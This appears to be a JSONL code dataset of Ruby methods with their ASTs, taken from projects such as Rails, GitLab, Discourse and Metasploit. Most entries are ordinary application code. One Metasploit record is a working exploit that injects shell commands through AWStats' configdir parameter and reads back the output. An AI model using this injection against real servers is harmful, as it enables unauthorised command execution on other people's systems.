{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/encryption/encrypted_attribute_type.rb","start_line":114,"raw_source":"def handle_deserialize_error(error, value)\n          if error.is_a?(Errors::Decryption) && support_unencrypted_data?\n            value\n          else\n            raise error\n          end\n        end","complexity_score":5.3,"ast_json":"{\"type\":\"def\",\"children\":[\"handle_deserialize_error\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"error\"]},{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"error\"]},\"is_a?\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Errors\"]},\"Decryption\"]}]},{\"type\":\"send\",\"children\":[null,\"support_unencrypted_data?\"]}]},{\"type\":\"lvar\",\"children\":[\"value\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"lvar\",\"children\":[\"error\"]}]}]}]}","id":"59786329-c8e9-4620-9407-d3cffb6900ec"}
{"repo_name":"discourse","file_path":"./repos/discourse/script/bulk_import/generic_bulk.rb","start_line":2629,"raw_source":"def update_badge_grant_counts\n    puts \"\", \"Updating badge grant counts...\"\n    start_time = Time.now\n\n    DB.exec(<<~SQL)\n        WITH\n          grants AS (\n                      SELECT badge_id, COUNT(*) AS grant_count FROM user_badges GROUP BY badge_id\n                    )\n\n      UPDATE badges\n         SET grant_count = grants.grant_count\n        FROM grants\n       WHERE badges.id = grants.badge_id\n         AND badges.grant_count <> grants.grant_count\n    SQL\n\n    puts \"  Update took #{(Time.now - start_time).to_i} seconds.\"\n  end","complexity_score":9.2,"ast_json":"{\"type\":\"def\",\"children\":[\"update_badge_grant_counts\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"str\",\"children\":[\"Updating badge grant counts...\"]}]},{\"type\":\"lvasgn\",\"children\":[\"start_time\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DB\"]},\"exec\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"  WITH\\n\"]},{\"type\":\"str\",\"children\":[\"    grants AS (\\n\"]},{\"type\":\"str\",\"children\":[\"                SELECT badge_id, COUNT(*) AS grant_count FROM user_badges GROUP BY badge_id\\n\"]},{\"type\":\"str\",\"children\":[\"              )\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"UPDATE badges\\n\"]},{\"type\":\"str\",\"children\":[\"   SET grant_count = grants.grant_count\\n\"]},{\"type\":\"str\",\"children\":[\"  FROM grants\\n\"]},{\"type\":\"str\",\"children\":[\" WHERE badges.id = grants.badge_id\\n\"]},{\"type\":\"str\",\"children\":[\"   AND badges.grant_count <> grants.grant_count\\n\"]}]}]},{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"  Update took \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]},\"-\",{\"type\":\"lvar\",\"children\":[\"start_time\"]}]}]},\"to_i\"]}]},{\"type\":\"str\",\"children\":[\" seconds.\"]}]}]}]}]}","id":"481f08d1-d7ad-4e96-91f5-f78f617c6fee"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/test/tests/rails5.rb","start_line":59,"raw_source":"def test_mass_assignment_permit_medium\n    assert_no_warning :type => :warning,\n      :warning_code => 105,\n      :fingerprint => \"c4c89a39b0a2dc707027f47747312d27308ea219a009e4f0116a759a71ad561b\",\n      :warning_type => \"Mass Assignment\",\n      :line => 91,\n      :message => /^Potentially\\ dangerous\\ key\\ allowed\\ for\\ ma/,\n      :confidence => 1,\n      :relative_path => \"app/controllers/widget_controller.rb\",\n      :code => s(:call, s(:params), :permit, s(:lit, :role_id)),\n      :user_input => s(:lit, :role_id)\n  end","complexity_score":7.1,"ast_json":"{\"type\":\"def\",\"children\":[\"test_mass_assignment_permit_medium\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_no_warning\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"sym\",\"children\":[\"warning\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"warning_code\"]},{\"type\":\"int\",\"children\":[105]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"fingerprint\"]},{\"type\":\"str\",\"children\":[\"c4c89a39b0a2dc707027f47747312d27308ea219a009e4f0116a759a71ad561b\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"warning_type\"]},{\"type\":\"str\",\"children\":[\"Mass Assignment\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"line\"]},{\"type\":\"int\",\"children\":[91]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^Potentially\\\\ dangerous\\\\ key\\\\ allowed\\\\ for\\\\ ma\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"confidence\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"relative_path\"]},{\"type\":\"str\",\"children\":[\"app/controllers/widget_controller.rb\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"code\"]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"call\"]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"params\"]}]},{\"type\":\"sym\",\"children\":[\"permit\"]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"lit\"]},{\"type\":\"sym\",\"children\":[\"role_id\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_input\"]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"lit\"]},{\"type\":\"sym\",\"children\":[\"role_id\"]}]}]}]}]}]}","id":"496f2d32-96c9-4311-b7ed-68b3dbba1239"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/database/migrations/version.rb","start_line":32,"raw_source":"def milestone=(milestone_str)\n          @milestone = Gitlab::VersionInfo.parse_from_milestone(milestone_str)\n        end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"milestone=\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"milestone_str\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@milestone\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"VersionInfo\"]},\"parse_from_milestone\",{\"type\":\"lvar\",\"children\":[\"milestone_str\"]}]}]}]}","id":"d880fe47-dafb-4c2d-9898-c394f1c75fb2"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/test/plugin/test_out_forward.rb","start_line":10,"raw_source":"def setup\n    Fluent::Test.setup\n    FileUtils.rm_rf(TMP_DIR)\n    FileUtils.mkdir_p(TMP_DIR)\n    @d = nil\n    # forward plugin uses TCP and UDP sockets on the same port number\n    @target_port = unused_port(protocol: :all)\n  end","complexity_score":6.0,"ast_json":"{\"type\":\"def\",\"children\":[\"setup\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Fluent\"]},\"Test\"]},\"setup\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FileUtils\"]},\"rm_rf\",{\"type\":\"const\",\"children\":[null,\"TMP_DIR\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FileUtils\"]},\"mkdir_p\",{\"type\":\"const\",\"children\":[null,\"TMP_DIR\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@d\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@target_port\",{\"type\":\"send\",\"children\":[null,\"unused_port\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"protocol\"]},{\"type\":\"sym\",\"children\":[\"all\"]}]}]}]}]}]}]}","id":"a0c30db0-9bea-42e0-853e-456729c778d8"}
{"repo_name":"rails","file_path":"./repos/rails/railties/lib/rails/generators/named_base.rb","start_line":121,"raw_source":"def plural_file_name # :doc:\n          @plural_file_name ||= file_name.pluralize\n        end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"plural_file_name\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@plural_file_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"file_name\"]},\"pluralize\"]}]}]}","id":"22a59417-9f34-4d9a-b726-0f732fc25edd"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/unix/webapp/awstats_configdir_exec.rb","start_line":75,"raw_source":"def exploit\n    command = Rex::Text.uri_encode(payload.encoded)\n    urlconfigdir = normalize_uri(datastore['URI']) + \"?configdir=|echo;echo%20YYY;#{command};echo%20YYY;echo|\"\n\n    res = send_request_raw({\n      'uri' => urlconfigdir,\n      'method' => 'GET',\n      'headers' =>\n      {\n        'Connection' => 'Close',\n      }\n    }, 25)\n\n    if (res)\n      print_status(\"The server returned: #{res.code} #{res.message}\")\n\n      m = res.body.match(/YYY\\n(.*)\\nYYY/m)\n\n      if (m)\n        print_status(\"Command output from the server:\")\n        print(\"\\n\" + m[1] + \"\\n\\n\")\n      else\n        print_status(\"This server may not be vulnerable\")\n      end\n    else\n      print_status(\"No response from the server\")\n    end\n  end","complexity_score":34.25,"ast_json":"{\"type\":\"def\",\"children\":[\"exploit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"command\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"uri_encode\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload\"]},\"encoded\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"urlconfigdir\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"URI\"]}]}]},\"+\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"?configdir=|echo;echo%20YYY;\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"command\"]}]},{\"type\":\"str\",\"children\":[\";echo%20YYY;echo|\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_raw\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"lvar\",\"children\":[\"urlconfigdir\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"headers\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Connection\"]},{\"type\":\"str\",\"children\":[\"Close\"]}]}]}]}]},{\"type\":\"int\",\"children\":[25]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"The server returned: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]}]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"message\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"m\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"YYY\\\\n(.*)\\\\nYYY\"]},{\"type\":\"regopt\",\"children\":[\"m\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"m\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Command output from the server:\"]}]},{\"type\":\"send\",\"children\":[null,\"print\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"m\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]}]},\"+\",{\"type\":\"str\",\"children\":[\"\\n\\n\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"This server may not be vulnerable\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"No response from the server\"]}]}]}]}]}","id":"8914d116-060f-4185-af17-869c1537b86e"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/storages/app/common/storages/adapters/providers/nextcloud/queries/files_info_query.rb","start_line":54,"raw_source":"def files_info(http, file_ids)\n              response = http.post(UrlBuilder.url(@storage.uri, FILES_INFO_PATH), json: { fileIds: file_ids })\n              error = Results::Error.new(source: self.class, payload: response)\n\n              case response\n              in { status: 200..299 }\n                verify_successful_response(response.json(symbolize_keys: true), error)\n              in { status: 404 }\n                Failure(error.with(code: :not_found))\n              in { status: 401 }\n                Failure(error.with(code: :unauthorized))\n              else\n                Failure(error.with(code: :error))\n              end\n            end","complexity_score":19.5,"ast_json":"{\"type\":\"def\",\"children\":[\"files_info\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"http\"]},{\"type\":\"arg\",\"children\":[\"file_ids\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"response\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"http\"]},\"post\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UrlBuilder\"]},\"url\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@storage\"]},\"uri\"]},{\"type\":\"const\",\"children\":[null,\"FILES_INFO_PATH\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"json\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"fileIds\"]},{\"type\":\"lvar\",\"children\":[\"file_ids\"]}]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"error\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Results\"]},\"Error\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"source\"]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"payload\"]},{\"type\":\"lvar\",\"children\":[\"response\"]}]}]}]}]},{\"type\":\"case_match\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},{\"type\":\"in_pattern\",\"children\":[{\"type\":\"hash_pattern\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[200]},{\"type\":\"int\",\"children\":[299]}]}]}]},null,{\"type\":\"send\",\"children\":[null,\"verify_successful_response\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"json\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"symbolize_keys\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"lvar\",\"children\":[\"error\"]}]}]},{\"type\":\"in_pattern\",\"children\":[{\"type\":\"hash_pattern\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"int\",\"children\":[404]}]}]},null,{\"type\":\"send\",\"children\":[null,\"Failure\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"error\"]},\"with\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"code\"]},{\"type\":\"sym\",\"children\":[\"not_found\"]}]}]}]}]}]},{\"type\":\"in_pattern\",\"children\":[{\"type\":\"hash_pattern\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"int\",\"children\":[401]}]}]},null,{\"type\":\"send\",\"children\":[null,\"Failure\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"error\"]},\"with\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"code\"]},{\"type\":\"sym\",\"children\":[\"unauthorized\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"Failure\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"error\"]},\"with\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"code\"]},{\"type\":\"sym\",\"children\":[\"error\"]}]}]}]}]}]}]}]}","id":"ff068905-9740-4e19-a8bd-af95434ffa88"}
{"repo_name":"wisper","file_path":"./repos/wisper/lib/wisper/global_listeners.rb","start_line":54,"raw_source":"def self.registrations\n      instance.registrations\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"registrations\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"instance\"]},\"registrations\"]}]}","id":"8c983d28-3d2c-444a-8efb-8033253e7fa1"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/contributions_calendar.rb","start_line":84,"raw_source":"def can_read_cross_project?\n      Ability.allowed?(current_user, :read_cross_project)\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"can_read_cross_project?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Ability\"]},\"allowed?\",{\"type\":\"send\",\"children\":[null,\"current_user\"]},{\"type\":\"sym\",\"children\":[\"read_cross_project\"]}]}]}","id":"91016c56-750c-443a-ab8a-c4d14698d276"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/payloads/adapters/cmd/windows/powershell/x64.rb","start_line":55,"raw_source":"def handle_connection(conn, opts = {})\n    opts[:arch] ||= module_info['AdaptedArch']\n    super\n  end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"handle_connection\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"conn\"]},{\"type\":\"optarg\",\"children\":[\"opts\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"arch\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"module_info\"]},\"[]\",{\"type\":\"str\",\"children\":[\"AdaptedArch\"]}]}]},{\"type\":\"zsuper\",\"children\":[]}]}]}","id":"de364998-63a5-4399-8596-3a5208e74092"}
{"repo_name":"spree","file_path":"./repos/spree/core/app/models/spree/payment/gateway_options.rb","start_line":45,"raw_source":"def subtotal\n        order.item_total * exchange_multiplier\n      end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"subtotal\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"order\"]},\"item_total\"]},\"*\",{\"type\":\"send\",\"children\":[null,\"exchange_multiplier\"]}]}]}","id":"ebfc8e7d-78dc-4aa8-9d58-a8b44c8aeb9a"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/projects/google_cloud/base_controller.rb","start_line":41,"raw_source":"def generate_session_key_redirect(uri, error_uri)\n    GoogleApi::CloudPlatform::Client.new_session_key_for_redirect_uri do |key|\n      session[key] = uri\n      session[:error_uri] = error_uri\n    end\n  end","complexity_score":6.8,"ast_json":"{\"type\":\"def\",\"children\":[\"generate_session_key_redirect\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"uri\"]},{\"type\":\"arg\",\"children\":[\"error_uri\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"GoogleApi\"]},\"CloudPlatform\"]},\"Client\"]},\"new_session_key_for_redirect_uri\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"key\"]},{\"type\":\"lvar\",\"children\":[\"uri\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"error_uri\"]},{\"type\":\"lvar\",\"children\":[\"error_uri\"]}]}]}]}]}","id":"a5174f5e-f6a0-49e0-b75d-cd4ae4fb0ed3"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/autosave_association_test.rb","start_line":822,"raw_source":"def test_invalid_adding\n    firm = Firm.find(1)\n    assert_not (firm.clients_of_firm << c = Client.new)\n    assert_not_predicate c, :persisted?\n    assert_not_predicate firm, :valid?\n    assert_not firm.save\n    assert_not_predicate c, :persisted?\n  end","complexity_score":13.9,"ast_json":"{\"type\":\"def\",\"children\":[\"test_invalid_adding\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"firm\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Firm\"]},\"find\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_not\",{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"firm\"]},\"clients_of_firm\"]},\"<<\",{\"type\":\"lvasgn\",\"children\":[\"c\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Client\"]},\"new\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_not_predicate\",{\"type\":\"lvar\",\"children\":[\"c\"]},{\"type\":\"sym\",\"children\":[\"persisted?\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_not_predicate\",{\"type\":\"lvar\",\"children\":[\"firm\"]},{\"type\":\"sym\",\"children\":[\"valid?\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_not\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"firm\"]},\"save\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_not_predicate\",{\"type\":\"lvar\",\"children\":[\"c\"]},{\"type\":\"sym\",\"children\":[\"persisted?\"]}]}]}]}","id":"411772d3-8479-466e-8232-925b035a2840"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/cache/json_caches/redis_keyed.rb","start_line":17,"raw_source":"def read_raw(key)\n          value = backend.read(cache_key(key))\n          value = Gitlab::Json.parse(value.to_s) unless value.nil?\n          value\n        rescue JSON::ParserError\n          nil\n        end","complexity_score":12.7,"ast_json":"{\"type\":\"def\",\"children\":[\"read_raw\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"value\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"backend\"]},\"read\",{\"type\":\"send\",\"children\":[null,\"cache_key\",{\"type\":\"lvar\",\"children\":[\"key\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"nil?\"]},null,{\"type\":\"lvasgn\",\"children\":[\"value\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Json\"]},\"parse\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"to_s\"]}]}]}]},{\"type\":\"lvar\",\"children\":[\"value\"]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"JSON\"]},\"ParserError\"]}]},null,{\"type\":\"nil\",\"children\":[]}]},null]}]}","id":"58d0c01b-ff56-40ff-9ea8-52ba9d5cdccf"}
{"repo_name":"rails","file_path":"./repos/rails/activemodel/lib/active_model/forbidden_attributes_protection.rb","start_line":23,"raw_source":"def sanitize_for_mass_assignment(attributes)\n        if attributes.respond_to?(:permitted?)\n          raise ActiveModel::ForbiddenAttributesError if !attributes.permitted?\n          attributes.to_h\n        else\n          attributes\n        end\n      end","complexity_score":8.3,"ast_json":"{\"type\":\"def\",\"children\":[\"sanitize_for_mass_assignment\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"attributes\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attributes\"]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"permitted?\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attributes\"]},\"permitted?\"]},\"!\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveModel\"]},\"ForbiddenAttributesError\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attributes\"]},\"to_h\"]}]},{\"type\":\"lvar\",\"children\":[\"attributes\"]}]}]}","id":"49329833-c7e7-4578-b2a3-11fb6d627ab8"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/import_export/reader.rb","start_line":8,"raw_source":"def initialize(shared:, config: ImportExport::Config.new.to_h)\n        @shared            = shared\n        @config            = config\n        @attributes_finder = Gitlab::ImportExport::AttributesFinder.new(config: @config)\n      end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"shared\"]},{\"type\":\"kwoptarg\",\"children\":[\"config\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ImportExport\"]},\"Config\"]},\"new\"]},\"to_h\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@shared\",{\"type\":\"lvar\",\"children\":[\"shared\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@config\",{\"type\":\"lvar\",\"children\":[\"config\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@attributes_finder\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"ImportExport\"]},\"AttributesFinder\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"config\"]},{\"type\":\"ivar\",\"children\":[\"@config\"]}]}]}]}]}]}]}","id":"bc8e57f9-db08-4d32-be0d-444407636b60"}
